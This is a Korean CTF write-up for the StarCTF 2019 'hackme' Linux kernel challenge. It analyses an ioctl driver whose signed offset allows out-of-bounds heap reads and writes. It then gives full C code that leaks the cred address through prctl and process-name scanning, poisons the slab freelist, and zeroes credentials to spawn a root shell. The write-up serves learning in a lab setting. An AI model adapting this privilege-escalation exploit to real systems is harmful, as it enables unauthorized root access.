1. 문제
1) mitigation 확인
문제 다운로드 : https://github.com/ray-cp/ctf-pwn/tree/master/2019/starctf2019/hackme
저기서 initramfs.cpio, startvm.sh, bzImage 3개만 다운받고 실제 환경처럼 진행하였다. cpio 파일시스템 압축을 풀어서 hackme.ko 모듈을 얻으면 된다.
#! /bin/sh
qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel ./bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd ./test/initramfs.cpio \
-smp cores=4,threads=2 \
-cpu qemu64,smep,smap 2>/dev/null \
-s \
- kaslr 존재
- smap, smep 존재
- KADR → user 권한으로 cat /proc/kallsyms 확인시 아무것도 안나옴
특이하게 init 파일에 아무것도 없다. 디버깅 할때 권한을 루트로 해야 심볼 주소를 얻을 수 있는데.. 따라서 etc/init.d/rcs 파일을 열고 일단 루트권한으로 수정하였다
$ nano ./test/etc/init.d/rcs
#!/bin/sh
echo "CiAgICAgICAgIyAgICMgICAgIyMjIyAgICAjIyMjIyAgIyMjIyMjCiAgICAgICAgICMgIyAgICAj
ICAgICMgICAgICMgICAgIwogICAgICAgIyMjICMjIyAgIyAgICAgICAgICAjICAgICMjIyMjCiAg
ICAgICAgICMgIyAgICAjICAgICAgICAgICMgICAgIwogICAgICAgICMgICAjICAgIyAgICAjICAg
ICAjICAgICMKICAgICAgICAgICAgICAgICAjIyMjICAgICAgIyAgICAjCgo=" | base64 -d
mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts
insmod /home/pwn/hackme.ko
chmod 644 /dev/hackme
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
cd /home/pwn
chown -R 1000:1000 .
setsid cttyhack setuidgid 0 sh // 1000 -> 0
umount /proc
poweroff -f
2) 코드흐름 파악
사용 구조체
struct inp
{
unsigned int index;
char *userbuf;
size_t len;
size_t off;
};
hackme_ioctl
signed __int64 __fastcall hackme_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
unsigned int v3; // ebx
__int64 v4; // rsi
__int64 v5; // rax
__int64 v6; // rsi
__int64 *v7; // rax
__int64 v9; // rax
__int64 v10; // rdi
__int64 *v11; // rax
size_t v12; // r12
char *v13; // r13
__int64 *v14; // rbx
__int64 v15; // rbx
__int64 v16; // rdi
__int64 *v17; // rbx
__int64 v18; // rax
inp userinput; // [rsp+0h] [rbp-38h]
v3 = a2;
v4 = a3;
copy_from_user(&userinput, a3, 32LL);
//----------------------------free----------------------
if ( v3 == 0x30001 )
{
v15 = 2LL * userinput.index;
v16 = pool[v15];
v17 = &pool[v15];
if ( v16 )
{
kfree(v16, v4);
*v17 = 0LL;
return 0LL;
}
return -1LL;
}
//------------------------------------------------------
if ( v3 > 0x30001 )
{
//----------------------------write---------------------
if ( v3 == 0x30002 )
{
v9 = 2LL * userinput.index;
v10 = pool[v9];
v11 = &pool[v9];
if ( v10 && userinput.off + userinput.len <= v11[1] )
{
copy_from_user(userinput.off + v10, userinput.userbuf, userinput.len);
return 0LL;
}
}
//-----------------------------read---------------------
else if ( v3 == 0x30003 )
{
v5 = 2LL * userinput.index;
v6 = pool[v5];
v7 = &pool[v5];
if ( v6 )
{
if ( userinput.off + userinput.len <= v7[1] )
{
copy_to_user(userinput.userbuf, userinput.off + v6, userinput.len);
return 0LL;
}
}
}
return -1LL;
}
//-------------------------kmalloc----------------------
if ( v3 != 0x30000 )
return -1LL;
v12 = userinput.len;
v13 = userinput.userbuf;
v14 = &pool[2 * userinput.index];
if ( *v14 )
return -1LL;
v18 = _kmalloc(userinput.len, 0x6000C0LL);
if ( !v18 )
return -1LL;
*v14 = v18;
copy_from_user(v18, v13, v12);
v14[1] = v12;
return 0LL;
}
//-------------------------------------------------------
ioctl의 2번째 인자에 따라 write, read, malloc, free 총 4가지 기능을 수행한다. 동적할당 받은 힙 영역은 bss 의 pool 배열에서 관리된다. pool에는 0x10크기가 하나의 단위로 힙 주소, 힙 사이즈가 저장된다.
write인 0x30002를 인자로 넣게 되면, pool 배열의 원하는 인덱스에 들어있는 힙 주소 + 오프셋에 원하는 사이즈 만큼 값을 넣을수 있다. 여기서 취약점이 발생하는데 오프셋은 signed 자료형으로 음수가 입력가능하여 조건문을 벗어나 oob write가 가능하다
read인 0x30002이 역시, 커널 → 유저 영역으로 데이터를 가져올 수 있는데, 오프셋의 음수를 넣어 oob read가 가능하다
2. 접근방법
oob read, write가 가능한 취약점이 존재한다. 따라서 익스 시나리오는 유저레벨의 익스와 비슷하게 진행하면 될 것이다. 커널에서의 익스 목적은 현재 LPE를 진행하는 것이므로 자격증명에 관련한 값을 루트로 변경시켜야 한다.
이론 상으로는 oob read, write가 가능하기 때문에 cred 구조체 내의 uid.. 등의 값들을 바꿔주면 된다. 그럼 cred 주소값을 할당받고 ioctl_write로 해당 영역을 덮어쓰면 되지만 우리는 cred 주소를 모른다.
즉 현재 KADR가 걸려있어 원하는 주소를 출력하지 못한다. 하지만 우리 OOB read가 가능하므로 커널 영역의 어디든 값을 읽어올 수 있다. 어떤 의미있는 값을 읽어와야할지 잘 생각해보자. 경험상으로는 걍 뒤지다보면서 task_struct나 cred 구조체 관련한 값을 노가다로 찾아도 될 것같은데 여기선 prctl
이라는 함수를 이용할 것이다.
prctl
는 리눅스 내부에서 프로세스를 관리할때 사용하는 함수이다. 요약하지만 task_struct 구조체에는 comm
배열이 존재한다. 여기에는 프로세스들의 이름이 들어있는데, prctl
함수를 이용하여 동작하는 프로세스의 이름을 변경시킬 수 있다.
https://elixir.bootlin.com/linux/v4.18/source/include/linux/sched.h#L593
struct task_struct {
..........생략........
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN]; //<-- here
struct nameidata *nameidata;
prctl(PR_SET_NAME, "testtest") 형식을 사용하면 현재 프로세스 및 하위 쓰레드의 이름들이 전부 "testest" 로 번경된다. 만약 쓰레드에서 호출하면 해당 쓰레드 이름만 변경된다.
간단하게 테스트 파일을 만들고 확인해보면, 6229 pid 프로세스의 이름이 testtest로 변경된 것을 확인 할 수 있다.
따라서 prctl
로 프로세스 이름을 변경하고, oob read로 수정한 이름이 들어있는 위치를 찾는다. 이는 바로 comm 배열의 주소이므로 거기서 -8 을 하게되면 cred 주소를 leak할수 있다.
익스 시나리오는 다음과 같다
- prctl로 프로세스 이름을 변경한다
- oob read를 이용하여 변경한 프로세스 이름을 찾는다. 어디에 위치한지 모르니까 오프셋을 조정하면서 확인한다
- 이름을 찾았다면 거기가 바로 task_struct 구조체 필드인 comm 배열의 시작주소이다. -8 을 하여 cred 필드 주소를 구한다
- 힙을 여러개 할당 한 뒤, oob write를 이용하여 해제된 fd 영역을 cred 구조체 영역으로 변경한다
- cred 구조체 영역을 재할당 받고, 해당 영역의 uid, gid 등의 자격권한들을 루트로 변경한다.
- 시스템 함수를 실행시키면 변경된 루트권하으로 쉘이 떨어진다
3. 풀이
- cred 주소 구하기 - leak.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <pthread.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/types.h> #include <stdint.h> typedef struct inp { unsigned int index; char* userbuf; size_t len; size_t off; }Input; char ubuf[0x100000]={0,}; Input userinput; void kmalloc(int fd, unsigned int index, char* userbuf, size_t len, size_t off) { int tmp; memset(ubuf,0,sizeof(ubuf)); userinput.index=index; userinput.userbuf=userbuf; userinput.len=len; userinput.off=off; tmp=ioctl(fd,0x30000,&userinput); if(tmp==-1) { printf("kmalloc fail\n"); exit(1); } } void kwrite(int fd, unsigned int index,char* userbuf, size_t len, size_t off) { int tmp; userinput.index=index; userinput.len=len; userinput.off=off; userinput.userbuf=userbuf; tmp=ioctl(fd,0x30002,&userinput); if(tmp==-1) { printf("kwrite fail\n"); exit(1); } } void kread(int fd, unsigned int index, size_t len, size_t off) { int tmp; userinput.index=index; userinput.len=len; userinput.off=off; tmp=ioctl(fd,0x30003,&userinput); if(tmp==-1) { printf("kread fail\n"); exit(1); } } void kfree(int fd, unsigned int index) { int tmp; userinput.index=index; tmp=ioctl(fd,0x30001,&userinput); if(tmp==-1) { printf("kfree fail\n"); exit(1); } } int main() { int fd,tmp,i; char fuck[]="fuckyouu"; char* str; printf("start\n"); fd=open("/dev/hackme",O_RDONLY); if(!fd) { printf("hackme.ko open error!\n"); return 0; } printf("Open hackme.ko[%d]\n",fd); //printf("%p\n",&userinput); prctl(PR_SET_NAME,fuck); for(i=0;i<50;i++) { kmalloc(fd,i,ubuf,0x40,0); } printf("finish kmalloc\n"); kread(fd,49,0x100000,-0x100000); str=(char*)memmem(ubuf,0x100000,fuck,8); uintptr_t cred=*(uintptr_t*)(str-8); printf("struct cred addr is %p\n",cred); return 0; }
╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/starctf2019-hackme ╰─$ ./startvm.sh # # #### ##### ###### # # # # # # ### ### # # ##### # # # # # # # # # # # #### # # /home/pwn # ./leak start Open hackme.ko[3] finish kmalloc struct cred addr is 0xffff888000025a80
- overwrite free chunk fd
이제 cred 주소도 구했으니 힙 익스처럼 진행하면 된다. 한 50개 정도 할당하고 47, 48 인덱스의 청크를 해제시키면 다음과 같다.
pool 배열의 47, 48 인덱스가 free되어 0으로 초기화가 되었다.
- pool[47] : 0xffff88800dfcd440
- pool[48] : 0xffff88800dfcd480
해당 힙 주소가 원래 담겨 있으며 free된 청크들의 fd를 보면 마지막으로 해제된 48번인덱스의 fd에 free된 pool[47] 값이 들어간걸 볼 수 있다.
여기서 2번 malloc을 진행하게 되면 위 두개의 freed 청크가 재할당 될 것이다. pool[49] → write 를 이용해서 -0x40 위치인 0xffff88800dfcd480 에 leak을 통해 얻은 cred 넣고, 2번 malloc을 해보자
pool[48] 위치에 덮어쓴 cred의 주소를 할당받았다. 이 상태에서 write로 값을 넣어도 되고, 아니면 그냥 malloc할때 초기화를 바로 시켜도 된다.
여기까지오면 거의다 한거긴 한데, 삽질을 좀 오래했다. 왜냐하면 그냥 cred 영역을 다음 영역까지 다 0으로 덮었다
111 struct cred { 112 atomic_t usage; // 4 113 #ifdef CONFIG_DEBUG_CREDENTIALS 114 atomic_t subscribers; /* number of processes subscribed */ 115 void *put_addr; 116 unsigned magic; // 위 3개는 따로 설정하지 않으면 안들어감 117 #define CRED_MAGIC 0x43736564 118 #define CRED_MAGIC_DEAD 0x44656144 119 #endif 120 kuid_t uid; /* real UID of the task */ 121 kgid_t gid; /* real GID of the task */ 122 kuid_t suid; /* saved UID of the task */ 123 kgid_t sgid; /* saved GID of the task */ 124 kuid_t euid; /* effective UID of the task */ 125 kgid_t egid; /* effective GID of the task */ 126 kuid_t fsuid; /* UID for VFS ops */ 127 kgid_t fsgid; /* GID for VFS ops */
실제 확인해보면 usage, uid, gid, ... fsgid 이렇게 들어간다. 각 필드는 4바이트 이고 9*4 총 36바이트를 0으로 초기화 시켰는데 자꾸 커널 패닉이 떴다 ;;
이유는 바로 usage 때문이였다. 해당 영역은 cred 참조 카운터로 하나의 cred 구조체는 여러 개의 프로세스에서 동시에 사용될 수 있다. 즉 이 영역은 cred 구조체를 몇개의 프로세스가 사용하고 있는지를 알려주는 놈인데, 저기를 0으로 만들어버리면 당연히 실행이 안될 것이다라고 뇌피셜을 돌려보았지만 확실한건 아니다.
usage 부분만 0이 아닌 값으로 변경하면 LPE가 된다. 근데 이는 execl()을 사용하면 그렇고 그냥 system() 함수를 사용하면 uasge에 0을 안 넣어도 된다. 아 뭐지 존나 마지막에 이해안가는 부분이 있는데 물어볼 사람도 없고 ㅇ러ㅏㅁㄴ얼마닝ㄹ
일단 여기까지 하자..
익스코드
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <pthread.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/types.h> #include <stdint.h> typedef struct inp { unsigned int index; char* userbuf; size_t len; size_t off; }Input; char ubuf[0x100000]={0,}; Input userinput; void kmalloc(int fd, unsigned int index, char* userbuf, size_t len, size_t off) { int tmp; //memset(ubuf,0,sizeof(ubuf)); userinput.index=index; userinput.userbuf=userbuf; userinput.len=len; userinput.off=off; tmp=ioctl(fd,0x30000,&userinput); if(tmp==-1) { printf("kmalloc fail\n"); exit(1); } } void kwrite(int fd, unsigned int index,char* userbuf, size_t len, size_t off) { int tmp; userinput.index=index; userinput.len=len; userinput.off=off; userinput.userbuf=userbuf; tmp=ioctl(fd,0x30002,&userinput); if(tmp==-1) { printf("kwrite fail\n"); exit(1); } } void kread(int fd, unsigned int index, size_t len, size_t off) { int tmp; userinput.index=index; userinput.len=len; userinput.off=off; tmp=ioctl(fd,0x30003,&userinput); if(tmp==-1) { printf("kread fail\n"); exit(1); } } void kfree(int fd, unsigned int index) { int tmp; userinput.index=index; tmp=ioctl(fd,0x30001,&userinput); if(tmp==-1) { printf("kfree fail\n"); exit(1); } } int main() { int fd,tmp,i; char fuck[]="fuckyouu"; char* str; printf("start\n"); fd=open("/dev/hackme",O_RDONLY); if(!fd) { printf("hackme.ko open error!\n"); return 0; } printf("Open hackme.ko[%d]\n",fd); //printf("%p\n",&userinput); prctl(PR_SET_NAME,fuck); for(i=0;i<50;i++) { kmalloc(fd,i,ubuf,0x40,0); } printf("finish kmalloc\n"); kread(fd,39,0x100000,-0x100000); str=(char*)memmem(ubuf,0x100000,fuck,8); uintptr_t cred=*(uintptr_t*)(str-8); printf("struct cred addr is %p\n",cred); kfree(fd,47); kfree(fd,48); *(uintptr_t*)ubuf=cred-0x10; printf("cred %p\n",*(uintptr_t*)ubuf); kwrite(fd,49,ubuf,0x40,-0x40); kmalloc(fd,47,ubuf,0x40,0); size_t fake[6] = {0}; kmalloc(fd,48,(char*)fake,0x40,0); //execl("/bin/sh","sh",NULL); system("/bin/sh"); return 0; }
4. 몰랐던 개념
- prctl() 을 이용한 cred 주소 구하기
- task_struct → comm
- cred → usage
- 확실한건 cred 구조체의 usage도 0으로 덮고 LPE를 하려면 execl 말고 system 함수 이용해야함
5. 해결 안된 상황
- free된 청크의 fd를 보면 그냥 데이터가 담긴 부분을 가리키고 있다. 유저레벨의 힙 ptmalloc 에서는 청크의 헤더를 가리킴. 커널은 슬랩 할당자라고 불리는 놈이 관리한다고함
- 그럼 왜 cred가 아닌 cred-0x10을 할당받게 하는것인가.... 나중에 꼭 해결하자
참고자료
'워게임 > CTF 문제들' 카테고리의 다른 글
[Christmas CTF 2020] phantom (0) | 2021.01.15 |
---|---|
[Christmas CTF 2020] show me the pcap (0) | 2021.01.14 |
[0ctf 2019] babykernel2 (0) | 2020.12.08 |
[cicsn2017] babydriver (0) | 2020.12.04 |
[qwb2018] core (1) | 2020.12.02 |
Uploaded by Notion2Tistory v1.1.0